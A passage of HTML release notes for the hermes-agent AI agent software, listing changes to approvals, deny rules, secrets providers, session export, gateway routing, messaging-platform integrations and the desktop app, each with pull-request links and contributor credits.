<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" 